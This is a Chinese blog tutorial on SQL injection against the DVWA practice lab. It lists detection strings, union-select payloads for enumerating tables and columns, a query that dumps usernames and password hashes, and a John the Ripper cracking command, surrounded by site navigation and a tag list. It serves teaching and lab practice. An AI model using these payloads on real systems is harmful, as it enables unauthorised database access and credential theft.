网站首页 > 知识剖析 正文
SQL注入
- 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;
- 基于报错的检测方式
' " % ()
- 基于布尔的检测
- 1'and'1'='1 / 1'and'1
- 1'and'1'='2 / 1'and'0
- 通过真假去判断是否存在SQL注入
检测查询字段
- 表列数/显示信息位于哪一列
- 'order by 9--(--后面加个空格) #按查询列号排序(注释符:--)
- select * 时表字段数=查询字段数
- 慢慢减少数字,直到不报错为止
联合查询
- 'union select 1,2-- (--后面加个空格) ##查询哪个是第一个字段哪个是第二个字段
- 'union all select database(),2-- (--后面加个空格)
- 当然,我们可以去替换字段去查询一些敏感信息
- 'union select user(),version()--
- 除此之外,还可以替换成其他的全局参数
- @@datadir #当前数据库所在位置
@@hostname #查询当前主机名
@@VERSION #查询数据库版本
@@version_compile_os-- #查询操作系统
CHAR() #执行ACSII码转换
md5() #计算哈希值
- 连接字符串
- CONCAT_WS(CHAR(32,58,32),user(),database(),version())
注:这个插件叫hackbar,自己去搜下如何使用
查询所有表 / 所有库
- 'union select table_name,table_schema from information_schema.tables-- '
统计库中表的数量
- 'UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
Dvwa库中的表名
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa' --+ (+代表空格)
查询Users表中所有列
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+ (+代表空格)
查询user、password列中的内容
'union select user,password from dvwa.users--+ (+代表空格)
'union select null,concat(user,0x3a,password) from users--+
- 之后将用户名和密码保存下来
- 之后 去破解密码
john --format=raw-MD5 dvwa.txt
- 上一篇: SQLite插入或只更新部分字段
- 下一篇: 渗透攻防Web篇-深入浅出SQL注入
猜你喜欢
- 2025-05-22 使用sql语句如何快速导入、导出数据
- 2025-05-22 mysql 替换某一个字段中的字符串
- 2025-05-22 HIVE SQL基础语法
- 2025-05-22 面试官灵魂拷问:为什么 SQL 语句不要过多的 join?
- 2025-05-22 比较常见类型漏洞讲解(三):SQL注入(一)
- 2025-05-22 数据库中记录的批量修改
- 2025-05-22 mysql行合并成字段,字段拆分成多行的示例
- 2025-05-22 SQL 将两张包含相同字段和不同字段的表数据合并成一张表
- 2025-05-22 使用 Python 增强 SQL 操作的 5 种方法
- 2025-05-22 科普基础 | 最全的SQL注入总结
- 05-22js日期加减运算函数封装
- 05-22使用JavaScript比较两个日期
- 05-22JS短文:如何确定一个月中有多少天?
- 05-22JavaScript如何获取当前日期和时间
- 05-22js获取当前年月日
- 05-22使用sql语句如何快速导入、导出数据
- 05-22mysql 替换某一个字段中的字符串
- 05-22HIVE SQL基础语法
- 最近发表
- 标签列表
-
- xml (46)
- css animation (57)
- array_slice (60)
- htmlspecialchars (54)
- position: absolute (54)
- datediff函数 (47)
- array_pop (49)
- jsmap (52)
- toggleclass (43)
- console.time (63)
- .sql (41)
- ahref (40)
- js json.parse (59)
- html复选框 (60)
- css 透明 (44)
- css 颜色 (47)
- php replace (41)
- css nth-child (48)
- min-height (40)
- xml schema (44)
- css 最后一个元素 (46)
- location.origin (44)
- table border (49)
- html tr (40)
- video controls (49)